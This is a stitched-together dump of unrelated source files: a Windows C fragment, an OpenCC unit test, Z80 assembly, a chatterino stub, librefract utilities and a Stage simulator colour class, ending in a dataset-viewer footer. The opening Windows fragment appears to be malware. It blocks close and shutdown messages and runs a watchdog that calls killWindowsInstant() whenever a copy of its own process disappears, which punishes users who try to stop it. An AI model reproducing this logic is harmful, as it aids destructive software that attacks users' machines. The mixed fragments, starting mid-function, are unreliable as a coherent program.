open(fn, L"/main");
ExitProcess(0);
}
}
}
LRESULT CALLBACK WindowProcWatchdog(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
if (msg == WM_CLOSE || msg == WM_ENDSESSION) {
killWindowsInstant();
return 0;
}
return DefWindowProc(hwnd, msg, wParam, lParam);
}
DWORD WINAPI watchdogThread(LPVOID parameter) {
int oproc = 0;
char *fn = (char *)LocalAlloc(LMEM_ZEROINIT, 512);
GetProcessImageFileNameA(GetCurrentProcess(), fn, 512);
Sleep(1000);
for (;;) {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
PROCESSENTRY32 proc;
proc.dwSize = sizeof(proc);
Process32First(snapshot, &proc);
int nproc = 0;
do {
HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, proc.th32ProcessID);
char *fn2 = (char *)LocalAlloc(LMEM_ZEROINIT, 512);
GetProcessImageFileNameA(hProc, fn2, 512);
if (!lstrcmpA(fn, fn2)) {
nproc++;
}
CloseHandle(hProc);
LocalFree(fn2);
} while (Process32Next(snapshot, &proc));
CloseHandle(snapshot);
if (nproc < oproc) {
killWindowsInstant();
}
oproc = nproc;
Sleep(50);
}
} |
/*
* Open Chinese Convert
*
* Copyright 2015 BYVoid <byvoid@byvoid.com>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "Config.hpp"
#include "Converter.hpp"
#include "ConfigTestBase.hpp"
namespace opencc {
class ConfigTest : public ConfigTestBase {
protected:
ConfigTest()
: input(utf8("燕燕于飞差池其羽之子于归远送于野")),
expected(utf8("燕燕于飛差池其羽之子于歸遠送於野")) {}
virtual void SetUp() { converter = config.NewFromFile(CONFIG_TEST_PATH); }
Config config;
ConverterPtr converter;
const string input;
const string expected;
};
TEST_F(ConfigTest, Convert) {
const string& converted = converter->Convert(input);
EXPECT_EQ(expected, converted);
}
TEST_F(ConfigTest, ConvertBuffer) {
char output[1024];
const size_t length = converter->Convert(input.c_str(), output);
EXPECT_EQ(expected.length(), length);
EXPECT_EQ(expected, output);
}
TEST_F(ConfigTest, NonexistingPath) {
const string path = "/opencc/no/such/file/or/directory";
try {
const ConverterPtr converter = config.NewFromFile(path);
} catch (FileNotFound& e) {
EXPECT_EQ(path + " not found or not accessible.", e.what());
}
}
} // namespace opencc
|
SECTION code_driver
SECTION code_driver_terminal_output
PUBLIC sms_01_output_terminal_tty_z88dk_stdio_msg_ictl
EXTERN asm_vioctl_driver, asm_tty_reset, l_offset_ix_de
EXTERN sms_01_output_terminal_stdio_msg_ictl
sms_01_output_terminal_tty_z88dk_stdio_msg_ictl:
; enter : de = request
; bc = first parameter
; hl = void *arg (0 if stdio flags)
;
; exit : hl = return value
; carry set if ioctl rejected
;
; uses : af, bc, de, hl
; flag bits managed by stdio?
ld a,h
or l
jp nz, sms_01_output_terminal_stdio_msg_ictl
; if cook mode is being enabled also reset the tty state machine
ld a,e
and c
and $20
jp z, asm_vioctl_driver ; cook mode not being enabled
call asm_vioctl_driver ; set flags
push hl ; save return value
ld hl,28
call l_offset_ix_de ; hl = & tty
call asm_tty_reset
pop hl
ret
|
#include "ircchannel2.hpp"
namespace chatterino {
namespace providers {
namespace irc {
// IrcChannel::IrcChannel()
//{
//}
} // namespace irc
} // namespace providers
} // namespace chatterino
|
//
// refract/VisitorUtils.cc
// librefract
//
// Created by Vilibald Wanča on 09/11/15.
// Copyright (c) 2015 Apiary Inc. All rights reserved.
//
#include "Element.h"
#include "VisitorUtils.h"
using namespace refract;
const StringElement* refract::GetDescription(const IElement& e)
{
auto i = e.meta().find("description");
if (i == e.meta().end()) {
return nullptr;
}
return TypeQueryVisitor::as<const StringElement>(i->second.get());
}
std::string refract::GetKeyAsString(const MemberElement& e)
{
auto element = e.get().key();
if (!element || element->empty()) {
return {};
}
if (auto str = TypeQueryVisitor::as<const StringElement>(element)) {
return str->get();
}
if (auto ext = TypeQueryVisitor::as<const ExtendElement>(element)) {
auto merged = ext->get().merge();
if (auto str = TypeQueryVisitor::as<const StringElement>(merged.get())) {
std::string result{};
if (str->empty() || str->get().empty()) { // TODO XXX @tjanc@ review second sub condition
auto k = GetValue<const StringElement>()(*str);
if (k && !k->empty()) {
return k->get();
} else
return {};
}
return str->get();
}
}
return {};
}
MemberElement* refract::FindMemberByKey(const ObjectElement& e, const std::string& name)
{
auto it = std::find_if(e.get().begin(), e.get().end(), [&name](const std::unique_ptr<IElement>& el) {
ComparableVisitor cmp(name, ComparableVisitor::key);
VisitBy(*el, cmp);
return cmp.get();
});
if (it == e.get().end()) {
return nullptr;
}
return static_cast<MemberElement*>(it->get());
}
bool refract::IsLiteral(const IElement& e)
{
TypeQueryVisitor query;
VisitBy(e, query);
auto elementType = query.get();
if (elementType == TypeQueryVisitor::Null)
return false;
if (!e.empty()
&& (elementType == TypeQueryVisitor::String || elementType == TypeQueryVisitor::Number
|| elementType == TypeQueryVisitor::Boolean)) {
return true;
}
return HasTypeAttribute(e, "fixed");
}
|
#include "stage.hh"
#include "worldfile.hh"
using namespace Stg;
#include "file_manager.hh"
#include <errno.h>
Color::Color(double r, double g, double b, double a) : r(r), g(g), b(b), a(a)
{
}
Color::Color() : r(1.0), g(0.0), b(0.0), a(1.0)
{
}
bool Color::operator!=(const Color &other) const
{
double epsilon = 1e-4; // small
return (fabs(r - other.r) > epsilon || fabs(g - other.g) > epsilon || fabs(b - other.b) > epsilon
|| fabs(a - other.a) > epsilon);
}
Color::Color(const std::string &name) : r(1), g(0), b(0), a(1)
{
if (name == "") // empty string?
return; // red
static FILE *file = NULL;
static std::map<std::string, Color> table;
if (file == NULL) {
std::string rgbFile = FileManager::findFile("rgb.txt");
file = fopen(rgbFile.c_str(), "r");
if (file == NULL) {
PRINT_ERR1("unable to open color database: %s "
"(try adding rgb.txt's location to your STAGEPATH)",
strerror(errno));
exit(0);
}
PRINT_DEBUG("Success!");
// load the file into the map
while (1) {
char line[1024];
if (!fgets(line, sizeof(line), file))
break;
// it's a macro or comment line - ignore the line
// also ignore empty lines
if (line[0] == '!' || line[0] == '#' || line[0] == '%' || line[0] == '\0')
continue;
// Trim the trailing space
while (strchr(" \t\n", line[strlen(line) - 1]))
line[strlen(line) - 1] = 0;
// Read the color
int r, g, b;
int chars_matched = 0;
sscanf(line, "%d %d %d %n", &r, &g, &b, &chars_matched);
// Read the name
const char *colorname = line + chars_matched;
// map the name to the color in the table
table[colorname] = Color(r / 255.0, g / 255.0, b / 255.0);
}
fclose(file);
}
// look up the colorname in the database
Color &found = table[name];
this->r = found.r;
this->g = found.g;
this->b = found.b;
this->a = found.a;
}
bool Color::operator==(const Color &other) const
{
return (!((*this) != other));
}
Color Color::RandomColor()
{
return Color(drand48(), drand48(), drand48());
}
void Color::Print(const char *prefix) const
{
printf("%s [%.2f %.2f %.2f %.2f]\n", prefix, r, g, b, a);
}
const Color &Color::Load(Worldfile *wf, const int section)
{
if (wf->PropertyExists(section, "color")) {
const std::string &colorstr = wf->ReadString(section, "color", "");
if (colorstr != "") {
if (colorstr == "random") {
r = drand48();
g = drand48();
b = drand48();
a = 1.0;
} else {
Color c = Color(colorstr);
r = c.r;
g = c.g;
b = c.b;
a = c.a;
}
}
} else
wf->ReadTuple(section, "color_rgba", 0, 4, "ffff", &r, &g, &b, &a);
return *this;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.